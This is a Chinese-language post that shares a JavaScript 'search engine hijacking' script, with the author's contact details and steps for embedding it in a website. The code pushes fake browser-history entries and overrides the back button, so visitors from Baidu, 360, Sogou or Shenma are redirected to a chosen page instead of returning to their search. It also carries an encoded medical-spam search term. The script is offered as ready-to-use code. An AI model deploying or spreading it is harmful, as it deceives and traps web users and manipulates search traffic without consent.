代码简介:搜索引擎劫持代码是由作者使用JavaScript所写,通过手机浏览器可以让访问用户通过SEM或者SEO的搜索引擎快照进入网页点击返回按键时启用,可以直接瞬间返回到指定网址,从而达到搜索引擎劫持效果。
代码作者:陈安太
作者微信:2250090225
源码分享:
// 版权所有:陈安太 // 作者扣扣:2250090225 // 返回劫持 var hash = window.location.href; if (location.hash.indexOf("_bdtz") == -1) { history.pushState( { page: 1 } , "", hash + "#_bdtz_") } var bdpar = window.location.href; var refer = document.referrer; var hash = window.location.href; if (location.hash.indexOf("_bdtz") == -1) { history.pushState( { page: 1 } , "", hash + "#_bdtz_") } var bdpar = window.location.href; var refer = document.referrer; var bd = refer.indexOf("baidu.com"); var hs = refer.indexOf("haosou."); var sm = refer.indexOf("sm."); var sg = refer.indexOf("sogou."); var wt = bdpar.indexOf("waitui"); var yh = bdpar.indexOf("youhua"); var bai = bdpar.indexOf("#baidu"); var hao = bdpar.indexOf("#360"); var shen = bdpar.indexOf("#sm"); var so = bdpar.indexOf("#so"); refer = refer.replace("?q=", "?word="); refer = refer.replace("keyword=", "word="); bdpar = bdpar.replace("?baidu", "#baidu"); bdpar = bdpar.replace("#", "%23"); if (refer.indexOf("word") != -1) { refer = "word=%E9%98%B3%E7%97%BF%E6%97%A9%E6%B3%84%E6%80%8E%E4%B9%88%E5%8A%9E&wapid=1109" } else { refer = "word=%E9%98%B3%E7%97%BF%E6%97%A9%E6%B3%84%E6%80%8E%E4%B9%88%E5%8A%9E&wapid=1109" }; var hash = location.hash; if (bd != -1 || hs != -1 || sm != -1 || sg != -1 || wt != -1 || yh != -1 || bai != -1 || hao != -1 || shen != -1 || so != -1 || true) { if (location.hash.indexOf("_bdtz") == -1) { history.pushState( { page: 1 } , "bd", hash + "#_bdtz_") } }; window.onpopstate = function (a) { if (location.hash.indexOf("_bdtz_") == -1 && location.hash.indexOf("dan") == -1 && location.hash.indexOf("#") == -1 && location.hash.indexOf("duibi") == -1 && location.hash.indexOf ("kfgc") == -1 && location.hash.indexOf("case") == -1 && location.hash.indexOf("buy") == -1) { window.location.href = "case"; } }
使用思路:
使用方法:使用Dreamweaver或者Notepad++工具打开网站源码,尽量不要使用txt文档打开更改。
1.将此劫持源码放入js文件中;
2.在html文件中引用该js文件;
<script src="./js/xxx.js"></script>
注意事项:因为此代码只是部分代码,大部分代码作者不准备分享,例如:识别蜘蛛访问以及地区访问跳转等功能,功能不完善,请勿商业用途。
时间: 2024-11-20 07:49:42